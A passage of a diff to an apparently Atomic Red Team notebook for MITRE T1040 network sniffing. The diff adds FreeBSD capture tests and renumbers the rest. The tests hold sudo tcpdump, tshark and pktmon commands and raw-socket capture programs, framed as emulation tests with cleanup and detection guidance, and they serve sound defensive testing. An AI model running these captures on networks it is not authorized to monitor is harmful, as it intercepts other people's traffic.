-y install epel-release tcpdump tshark)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a0fccbeb", + "id": "e63824f4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1040 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4d7eeabb", + "id": "70882c62", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,59 +38,90 @@ { "cell_type": "code", "execution_count": null, - "id": "83a672e6", + "id": "8c97a722", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1040 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "bfb75de9", + "id": "13258c90", "metadata": {}, - "source": "### Atomic Test #2 - Packet Capture macOS using tcpdump or tshark\nPerform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.\n\nUpon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Check if at least one of tcpdump or tshark is installed.\n\n##### Check Prereq Commands:\n```bash\nif [ ! -x \"$(command -v tcpdump)\" ] && [ ! -x \"$(command -v tshark)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```bash\n(which yum && yum -y install epel-release tcpdump tshark)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n\n```" + "source": "### Atomic Test #2 - Packet Capture FreeBSD using tshark or tcpdump\nPerform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.\n\nUpon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if at least one of tcpdump or tshark is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v tcpdump)\" ] && [ ! -x \"$(command -v tshark)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y wireshark-nox11)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ccfcf7c7", + "id": "1faf3fb2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1040 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "231f5b3d", + "id": "239b68b8", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\nsudo tcpdump -c 5 -nnni en0A \nif [ -x \"$(command -v tshark)\" ]; then sudo tshark -c 5 -i en0A; fi;\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\ntcpdump -c 5 -nnni em0\ntshark -c 5 -i em0\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a21a8455", + "id": "71816c3e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1040 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "03e0bfbf", + "id": "36b7a07c", "metadata": {}, - "source": "### Atomic Test #3 - Packet Capture Windows Command Prompt\nPerform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark\ninstalled.\n\nUpon successful execution, tshark will execute and capture 5 packets on interface \"Ethernet\".\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: tshark must be installed and in the default path of \"c:\\Program Files\\Wireshark\\Tshark.exe\".\n\n##### Check Prereq Commands:\n```cmd\nif (test-path \"c:\\program files\\wireshark\\tshark.exe\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest -OutFile $env:temp\\wireshark_installer.exe https://1.eu.dl.wireshark.org/win64/Wireshark-win64-latest.exe\nStart-Process $env:temp\\wireshark_installer.exe /S\n\n```\n##### Description: npcap must be installed.\n\n##### Check Prereq Commands:\n```cmd\nif (test-path \"C:\\Program Files\\Npcap\\npcap.sys\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest -OutFile $env:temp\\npcap_installer.exe https://nmap.org/npcap/dist/npcap-1.31.exe\nStart-Process $env:temp\\npcap_installer.exe\n\n```" + "source": "### Atomic Test #3 - Packet Capture macOS using tcpdump or tshark\nPerform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.\n\nUpon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Check if at least one of tcpdump or tshark is installed.\n\n##### Check Prereq Commands:\n```bash\nif [ ! -x \"$(command -v tcpdump)\" ] && [ ! -x \"$(command -v tshark)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```bash\n(which yum && yum -y install epel-release tcpdump tshark)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c936e3d0", + "id": "c56409fe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1040 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "098aad9e", + "id": "35828a19", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `bash`\n", + "```bash\nsudo tcpdump -c 5 -nnni en0A \nif [ -x \"$(command -v tshark)\" ]; then sudo tshark -c 5 -i en0A; fi;\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a5f84e1e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "ad70e88f", + "metadata": {}, + "source": "### Atomic Test #4 - Packet Capture Windows Command Prompt\nPerform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark\ninstalled.\n\nUpon successful execution, tshark will execute and capture 5 packets on interface \"Ethernet\".\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: tshark must be installed and in the default path of \"c:\\Program Files\\Wireshark\\Tshark.exe\".\n\n##### Check Prereq Commands:\n```cmd\nif (test-path \"c:\\program files\\wireshark\\tshark.exe\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\wireshark_installer.exe\" https://1.eu.dl.wireshark.org/win64/Wireshark-win64-latest.exe\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\wireshark_installer.exe\" /S\n\n```\n##### Description: npcap must be installed.\n\n##### Check Prereq Commands:\n```cmd\nif (test-path \"C:\\Program Files\\Npcap\\npcap.sys\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\npcap_installer.exe\" https://nmap.org/npcap/dist/npcap-1.31.exe\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\npcap_installer.exe\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7ad19efa", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "4b06a929", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -100,17 +131,17 @@ { "cell_type": "code", "execution_count": null, - "id": "81bf8d26", + "id": "470db350", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 3" + "source": "Invoke-AtomicTest T1040 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "3714e0f1", + "id": "a95e794f", "metadata": {}, "source": [ - "### Atomic Test #4 - Windows Internal Packet Capture", + "### Atomic Test #5 - Windows Internal Packet Capture", "Uses the built-in Windows packet capture\nAfter execution you should find a file named trace.etl and trace.cab in the temp directory", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -121,31 +152,31 @@ { "cell_type": "code", "execution_count": null, - "id": "dadd5695", + "id": "699e0413", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 4" + "source": "Invoke-AtomicTest T1040 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "bd640ff0", + "id": "4682a732", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnetsh trace stop >nul 2>&1\nTIMEOUT /T 5 >nul 2>&1\ndel %temp%\\trace.etl >nul 2>&1\ndel %temp%\\trace.cab >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "2e519649", + "id": "2523787d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 4 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "831d6ccd", + "id": "c00667c0", "metadata": {}, "source": [ - "### Atomic Test #5 - Windows Internal pktmon capture", + "### Atomic Test #6 - Windows Internal pktmon capture", "Will start a packet capture and store log file as t1040.etl.\nhttps://lolbas-project.github.io/lolbas/Binaries/Pktmon/", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -156,31 +187,31 @@ { "cell_type": "code", "execution_count": null, - "id": "9a687d4e", + "id": "e37bd7df", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 5" + "source": "Invoke-AtomicTest T1040 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "65a637d9", + "id": "f85041de", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %TEMP%\\t1040.etl```" }, { "cell_type": "code", "execution_count": null, - "id": "64b61123", + "id": "10c9263e", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 5 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "817cb801", + "id": "892af2f9", "metadata": {}, "source": [ - "### Atomic Test #6 - Windows Internal pktmon set filter", + "### Atomic Test #7 - Windows Internal pktmon set filter", "Select Desired ports for packet capture \nhttps://lolbas-project.github.io/lolbas/Binaries/Pktmon/", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -191,42 +222,42 @@ { "cell_type": "code", "execution_count": null, - "id": "90ec4447", + "id": "7e40c439", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 6" + "source": "Invoke-AtomicTest T1040 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "f8f1f59e", + "id": "65e0385a", "metadata": {}, "source": "#### Cleanup: \n```cmd\npktmon filter remove```" }, { "cell_type": "code", "execution_count": null, - "id": "12fcf156", + "id": "c9aafc44", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 6 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "2e8adfcc", + "id": "ea414492", "metadata": {}, - "source": "### Atomic Test #7 - Packet Capture macOS using /dev/bpfN with sudo\nOpens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nexit 1\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/macos_pcapdemo.c -o /tmp/t1040_macos_pcapdemo\n\n```" + "source": "### Atomic Test #8 - Packet Capture macOS using /dev/bpfN with sudo\nOpens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nexit 1\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/macos_pcapdemo.c -o /tmp/t1040_macos_pcapdemo\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b3b0c4af", + "id": "aa642f94", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 7 -GetPreReqs" + "source": "Invoke-AtomicTest T1040 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ffbe1236", + "id": "545d7871", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -236,42 +267,42 @@ { "cell_type": "code", "execution_count": null, - "id": "dfe25b45", + "id": "00ec3e83", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 7" + "source": "Invoke-AtomicTest T1040 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "5c977f86", + "id": "d0b00e90", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/t1040_macos_pcapdemo\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3b8090ba", + "id": "d7335760", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 7 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "6c0a7ea5", + "id": "6be453de", "metadata": {}, - "source": "### Atomic Test #8 - Filtered Packet Capture macOS using /dev/bpfN with sudo\nOpens a /dev/bpf file (O_RDONLY), sets BPF filter for 'udp' and captures packets for a few seconds.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nexit 1\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/macos_pcapdemo.c -o /tmp/t1040_macos_pcapdemo\n\n```" + "source": "### Atomic Test #9 - Filtered Packet Capture macOS using /dev/bpfN with sudo\nOpens a /dev/bpf file (O_RDONLY), sets BPF filter for 'udp' and captures packets for a few seconds.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nexit 1\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/macos_pcapdemo.c -o /tmp/t1040_macos_pcapdemo\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ebd27b97", + "id": "dc2a1efd", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 8 -GetPreReqs" + "source": "Invoke-AtomicTest T1040 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4b3b2127", + "id": "b1b70e9d", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -281,42 +312,132 @@ { "cell_type": "code", "execution_count": null, - "id": "294ed392", + "id": "711c1504", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 8" + "source": "Invoke-AtomicTest T1040 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "a96ce48e", + "id": "ac8a23fc", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/t1040_macos_pcapdemo\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a1d5a478", + "id": "2e8a4a88", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 8 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "56913ee2", + "id": "cae17173", "metadata": {}, - "source": "### Atomic Test #9 - Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo\nCaptures packets with domain=AF_PACKET, type=SOCK_RAW for a few seconds.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" + "source": "### Atomic Test #10 - Packet Capture FreeBSD using /dev/bpfN with sudo\nOpens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```sh\nexit 1\n\n```\n##### Get Prereq Commands:\n```sh\ncc PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c -o /tmp/t1040_freebsd_pcapdemo\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "adb3889d", + "id": "a5a3a2aa", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 9 -GetPreReqs" + "source": "Invoke-AtomicTest T1040 -TestNumbers 10 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "1f146566", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo /tmp/t1040_freebsd_pcapdemo -i em0 -t 3\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "26d87d6c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "faab24d0", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/t1040_freebsd_pcapdemo\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ec14797b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d83e10e4", + "metadata": {}, + "source": "### Atomic Test #11 - Filtered Packet Capture FreeBSD using /dev/bpfN with sudo\nOpens a /dev/bpf file (O_RDONLY), sets BPF filter for 'udp' and captures packets for a few seconds.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```sh\nexit 1\n\n```\n##### Get Prereq Commands:\n```sh\ncc PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c -o /tmp/t1040_freebsd_pcapdemo\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "49da67fb", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 11 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "d7922ae8", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo /tmp/t1040_freebsd_pcapdemo -f -i em0 -t 3\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cc827701", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 11" + }, + { + "cell_type": "markdown", + "id": "1e0e0250", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/t1040_freebsd_pcapdemo\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "00addd7c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 11 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "91af986a", + "metadata": {}, + "source": "### Atomic Test #12 - Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo\nCaptures packets with domain=AF_PACKET, type=SOCK_RAW for a few seconds.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cecbcacc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 12 -GetPreReqs" }, { "cell_type": "markdown", - "id": "0bad469c", + "id": "94475e6d", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -326,42 +447,42 @@ { "cell_type": "code", "execution_count": null, - "id": "cb276ac0", + "id": "e19cdc8f", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 9" + "source": "Invoke-AtomicTest T1040 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "b9820150", + "id": "31c4b0db", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/t1040_linux_pcapdemo\n```" }, { "cell_type": "code", "execution_count": null, - "id": "52f28fd2", + "id": "a474eb42", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 9 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "5d1e6424", + "id": "afd1cb48", "metadata": {}, - "source": "### Atomic Test #10 - Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo\nCaptures packets with domain=AF_INET,type=SOCK_RAW,protocol=TCP for a few seconds.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" + "source": "### Atomic Test #13 - Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo\nCaptures packets with domain=AF_INET,type=SOCK_RAW,protocol=TCP for a few seconds.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6095517e", + "id": "bc2a36f0", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 10 -GetPreReqs" + "source": "Invoke-AtomicTest T1040 -TestNumbers 13 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6f121d6a", + "id": "f5b5dc39", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -371,42 +492,42 @@ { "cell_type": "code", "execution_count": null, - "id": "7bf58e1d", + "id": "7a87b8f0", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 10" + "source": "Invoke-AtomicTest T1040 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "42ee4d9d", + "id": "e67e74fe", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/t1040_linux_pcapdemo\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8f357cb8", + "id": "b9bbefa8", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 10 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 13 -Cleanup" }, { "cell_type": "markdown", - "id": "360d646d", + "id": "de9d1f1c", "metadata": {}, - "source": "### Atomic Test #11 - Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo\nCaptures packets with domain=AF_INET,type=SOCK_PACKET,protocol=UDP for a few seconds.\nSOCK_PACKET is \"obsolete\" according to the man page, but still works on Ubuntu 20.04\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" + "source": "### Atomic Test #14 - Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo\nCaptures packets with domain=AF_INET,type=SOCK_PACKET,protocol=UDP for a few seconds.\nSOCK_PACKET is \"obsolete\" according to the man page, but still works on Ubuntu 20.04\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f0286601", + "id": "6d2777c6", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 11 -GetPreReqs" + "source": "Invoke-AtomicTest T1040 -TestNumbers 14 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ad03fe0a", + "id": "55a675d9", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -416,42 +537,42 @@ { "cell_type": "code", "execution_count": null, - "id": "6fc82760", + "id": "fea106fb", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 11" + "source": "Invoke-AtomicTest T1040 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "e34a75cf", + "id": "c363ac67", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/t1040_linux_pcapdemo\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4789078b", + "id": "f149e508", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 11 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 14 -Cleanup" }, { "cell_type": "markdown", - "id": "3d5be67d", + "id": "bcaa9290", "metadata": {}, - "source": "### Atomic Test #12 - Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP with sudo\nCaptures packets with domain=AF_PACKET,type=SOCK_RAW for a few seconds.\nSets a BPF filter on the socket to filter for UDP traffic.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" + "source": "### Atomic Test #15 - Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP with sudo\nCaptures packets with domain=AF_PACKET,type=SOCK_RAW for a few seconds.\nSets a BPF filter on the socket to filter for UDP traffic.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "535dc03f", + "id": "9aca21b2", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 12 -GetPreReqs" + "source": "Invoke-AtomicTest T1040 -TestNumbers 15 -GetPreReqs" }, { "cell_type": "markdown", - "id": "071dd26c", + "id": "d6b3076b", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -461,34 +582,34 @@ { "cell_type": "code", "execution_count": null, - "id": "43a0b268", + "id": "2b309fc3", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 12" + "source": "Invoke-AtomicTest T1040 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "de3c4de9", + "id": "8a76372b", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/t1040_linux_pcapdemo\n```" }, { "cell_type": "code", "execution_count": null, - "id": "42c4e307", + "id": "4bb448e2", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 12 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 15 -Cleanup" }, { "cell_type": "markdown", - "id": "aeadd38f", + "id": "c96a58ea", "metadata": {}, - "source": "## Detection\nDetecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors." + "source": "## Detection\nDetecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic." }, { "cell_type": "markdown", - "id": "04f52469", + "id": "2d603445", 